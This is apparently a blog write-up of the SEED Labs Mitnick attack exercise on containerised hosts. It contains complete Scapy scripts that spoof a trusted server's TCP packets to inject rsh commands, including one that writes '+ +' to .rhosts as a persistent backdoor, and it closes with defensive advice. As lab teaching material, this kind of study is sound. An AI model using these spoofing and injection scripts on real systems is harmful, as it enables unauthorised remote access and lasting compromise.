Featured image of post Mitnick攻击

Mitnick攻击

实验环境

我使用的是 Ubuntu 24.04.4,基本环境配置见ARP攻击原理学习

网络结构如下:

节点 IP 地址 作用
攻击机 10.9.0.1 伪造身份并发送攻击报文
X-Terminal 10.9.0.5 受害主机
Trusted Server 10.9.0.6 被受害者信任的服务器

启动实验前先停止并清理容器环境,防止被之前的网络配置干扰

1
2
sudo docker stop $(sudo docker ps -q) 2>/dev/null
sudo docker system prune -f

进入实验目录并启动

1
2
cd seed-labs/category-network/Mitnick_Attack/Labsetup
sudo docker compose up -d

打开三个终端分别进入对应的容器

攻击者:

1
docker exec -it seed-attacker /bin/bash

受害者:

1
docker exec -it x-terminal-10.9.0.5 /bin/bash

受信任服务器:

1
docker exec -it trusted-server-10.9.0.6 /bin/bash

建立信任关系

Mitnick 攻击的原理就是利用受害者和服务器的信任关系,因此实验开始前必须先进行配置

在受害者容器中切换到seed用户,配置.rhosts文件来信任来自服务器的连接

1
2
3
4
5
su seed
cd ~
touch .rhosts
echo 10.9.0.6 > .rhosts
chmod 644 .rhosts

.rhosts是声明当前主机信任哪些远程主机的文件,写入10.9.0.6表示信任来自服务器的远程访问请求,切换seed用户是因为这个配置文件是作用于用户的,而之后的实验使用普通用户seed比起root来说更便于观察

在服务器容器中切换到 seed 用户,用 rsh 远程执行命令获取受害者时间,如果返回正确的受害者系统时间而且不需要输入密码,就说明信任关系建立成功

1
2
su seed
rsh 10.9.0.5 date

阻断真实服务器

攻击的关键是伪造受信任服务器的身份发送伪造SYN包,然后和受害者建立连接。受害者收到包后会向真实服务器回复SYN+ACK,为了防止真实服务器收到包发现不合法,回复RST关闭连接,攻击者需要让真实服务器暂时无法正常回应。一般会使用 SYN 洪泛攻击让服务器瘫痪

为了效果稳定,这个实验用静态 ARP 映射来模拟洪泛攻击效果。在受害者容器把 10.9.0.6 映射到一个不存在的 MAC 地址,让受害者发给服务器的包无法真正到达

输入exit退出seed进入root,然后输入下面的命令修改受害者的arp缓存

1
2
arp -s 10.9.0.6 aa:bb:cc:dd:ee:ff
arp -n

可以看到修改前受害者可以 ping 通服务器,修改后就全部丢包,之后服务器就无法对实验产生任何干扰了,相当于静默状态

伪造 TCP 连接与 RSH 会话

修改攻击脚本

打开 volumes/spoof_ack_plus_data.py,将注入命令改成创建 /tmp/mitnick 文件:

1
data  = str(srv_port2) + '\x00seed\x00seed\x00touch /tmp/mitnick\x00'

输入 ip addr 确认攻击者容器的网卡名,找到 10.9.0.1 对应的网卡,我这里是叫br-302e4ba285b3

将所有攻击脚本末尾 sniff() 函数中的 iface 改成实际的网卡名,否则脚本正常运行,但实际上抓不到目标的通信流量

执行攻击

在攻击机容器中需要开启三个终端,并行运行三个脚本。攻击流程是发送SYN,回复ACK顺带注入命令,最后回复SYN+ACK用于处理rsh协议的stderr反向连接

终端1运行 spoof_ack_plus_data.py

1
2
cd volumes
python3 spoof_ack_plus_data.py

这个脚本抓取受害者返回的 SYN+ACK 包,读取序列号,再伪造 ACK 完成握手。之后伪造一段 rsh 命令让受害者执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python3
from scapy.all import *
import time

x_ip      = "10.9.0.5"  # X-Terminal
srv_ip    = "10.9.0.6"  # The trusted server

x_port    = 514         # Port number used by X-Terminal
srv_port  = 1023        # Port number used by the trusted server
srv_port2 = 9090
syn_seq   = 0x1000      # Initial sequence number

# Spoof the ACK to finish 3-way handshake initiated by the attacker
# After that, spoof a rsh data packet
# We are only allowed to use the sequence number in the captured packet
def spoof(pkt):
    old_tcp = pkt[TCP]

    if old_tcp.flags == 'SA':
       # Spoof ACK to finish the handshake protocol
       ip =  IP( src   = srv_ip, 
                 dst   = x_ip)
       tcp = TCP(sport = srv_port, 
                 dport = x_port,
                 seq   = syn_seq + 1, 
                 ack   = old_tcp.seq + 1,
                 flags="A")
       print('  {}-->{} Spoofing ACK'.format(tcp.sport, tcp.dport))
       send(ip/tcp, verbose=0)

       # Send rsh command to X-Terminal
       tcp.flags="PA"
       data  = str(srv_port2) + '\x00seed\x00seed\x00touch /tmp/mitnick\x00'
       #data = str(srv_port2) + '\x00seed\x00seed\x00echo + + > .rhosts\x00'
       print('      Sending data: {}'.format(data))
       send(ip/tcp/data, verbose=0)

       # Reset the connection after 2 seconds
       # This is not necessary. We did this, so we can repeat the attack.
       time.sleep(2)
       tcp.flags = "R"
       tcp.seq   = syn_seq + 1 + len(data)
       print('  {}-->{} Resetting connection'.format(tcp.sport, tcp.dport))
       send(ip/tcp, verbose=0)

f = 'tcp and src host {} and src port {} and dst host {} and dst port {}'
myFilter = f.format(x_ip, x_port, srv_ip, srv_port)
sniff(iface='br-302e4ba285b3', filter=myFilter, prn=spoof)

终端2运行 spoof_syn_ack_2nd.py

1
2
cd volumes
python3 spoof_syn_ack_2nd.py

脚本1中注入的数据实际上是9090\0seed\0seed\0touch /tmp/mitnick\0,意思是规定stderr错误输出应该发往9090端口,提供用户名与需要执行的命令内容。受害者收到后会发送一个SYN包主动连接9090端口,但服务器目前静默了无法回复,为了完成连接,需要再写一个脚本来处理这个包,代替服务器回复 SYN+ACK

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
from scapy.all import *

x_ip      = "10.9.0.5"  # X-Terminal
srv_ip    = "10.9.0.6"  # The trusted server

x_port    = 514         # Port number used by X-Terminal
srv_port  = 1023        # Port number used by the trusted server
srv_port2 = 9090        # Port number used by the 2nd connection
syn_seq   = 0x1000      # Initial sequence number 

# Spoof the SYN+ACK to finish the 2nd connection intiated by X-Terminal
# Only allowed to use the sequence number & src port in captured packet
def spoof(pkt):

    # Spoof a SYN+ACK reply after receiving a SYN packet
    old_tcp = pkt[TCP]
    if old_tcp.flags == 'S':
       print('  {}-->{} Spoofing SYN+ACK.'.format(old_tcp.dport, old_tcp.sport))
       ####################################################
       ip  = IP ( src   = srv_ip, 
                  dst   = x_ip)
       tcp = TCP( sport = srv_port2,
                  dport = old_tcp.sport,
                  seq   = 2000,   # can be any number
                  ack   = old_tcp.seq + 1,
                  flags="SA")     # Set the SYN + ACK bits
       ####################################################
       send(ip/tcp, verbose=0)

f = 'tcp and src host {} and dst port {}'.format(x_ip, srv_port2)
sniff(iface='br-302e4ba285b3', filter=f, prn=spoof)

终端3运行 spoof_syn.py

1
2
cd volumes
python3 spoof_syn.py

这个脚本向受害者发送一个伪造的 SYN 包,发起 rsh 连接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
from scapy.all import *

x_ip      = "10.9.0.5"  # X-Terminal
srv_ip    = "10.9.0.6"  # The trusted server

x_port    = 514         # Port number used by X-Terminal
srv_port  = 1023        # Port number used by the trusted server
port_2nd  = 9090        # Port number used by the 2nd connection
syn_seq   = 0x1000      # Initial sequence number 

# Spoof a SYN from Trusted Server to X-Terminal
ip  = IP(  src   = srv_ip, dst   = x_ip)
tcp = TCP( sport = srv_port, dport = x_port, 
           seq   = syn_seq, flags = 'S')
print('Sending SYN...')
send(ip/tcp, verbose=1)

按照这个运行顺序是因为spoof_ack_plus_data.pyspoof_syn_ack_2nd.py都是检测到特定包才执行后续内容,而spoof_syn.py执行后就直接发出SYN包。因此先开启前两个脚本的监听,再用第三个发包来防止错过

验证

回到受害者容器中检查 /tmp/mitnick 文件是否生成,这里可以看到文件,说明攻击者成功伪造服务器身份,成功注入命令

1
ls -l /tmp/mitnick

设置永久后门

前面的攻击只是创建了一个文件。为了进一步利用受害者,攻击者可以通过注入命令修改 .rhosts 文件来植入永久后门

修改攻击命令

在攻击机中修改 spoof_ack_plus_data.py 的数据部分,将原来的 touch 命令替换为修改 .rhosts 的命令

1
data = str(srv_port2) + '\x00seed\x00seed\x00echo + + > .rhosts\x00'

+ + 表示信任任意主机上的任意用户。这个配置非常危险,一旦写入成功,攻击者就可以直接登录受害主机

重新进行攻击

重新运行前面的三个攻击脚本

1
2
3
python3 spoof_ack_plus_data.py
python3 spoof_syn_ack_2nd.py
python3 spoof_syn.py

攻击完成后,回到攻击机容器中切换到 seed 用户,用rlogin远程登录受害者主机

1
2
su seed
rlogin 10.9.0.5

无需密码就能进入 10.9.0.5 的 Shell,说明后门植入成功

进入后查看 .rhosts 文件,可以看到内容变成+ +,说明攻击者已经获得对受害主机的直接访问权限

1
more .rhosts

Mitnick 攻击利用了早期 TCP 协议缺乏认证的弱点,攻击者只要能伪造状态相符的包,就可能绕过登录认证,可以看出只依赖 IP 地址和信任关系是不安全的。rsh和rlogin目前已经不适合在真实环境使用,一般用 SSH 替代,还要关闭 .rhosts这种静态文件的认证方式

Mitnick 攻击和TCP协议攻击的区别:TCP协议攻击在已有连接中伪造包进行欺骗,而Mitnick 攻击需要在没有连接的情况下伪造服务器连接,并盲猜受害者的TCP序列号从而建立连接

Like 0
本站已不稳定运行 小时 分钟
共发表文章 30 篇 ,总计 141.93 k 字
本站总访问量:
使用 Hugo 构建
主题 StackJimmy 设计